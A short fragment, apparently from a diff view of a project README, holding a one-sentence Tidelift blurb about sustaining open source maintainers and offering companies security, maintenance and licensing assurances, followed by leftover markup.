Tidelift helps make open source sustainable for maintainers while giving companies<br>assurances about security, maintenance, and licensing for their dependencies.
|
124
|
+
</sub>
|
125
|
+
</div>
|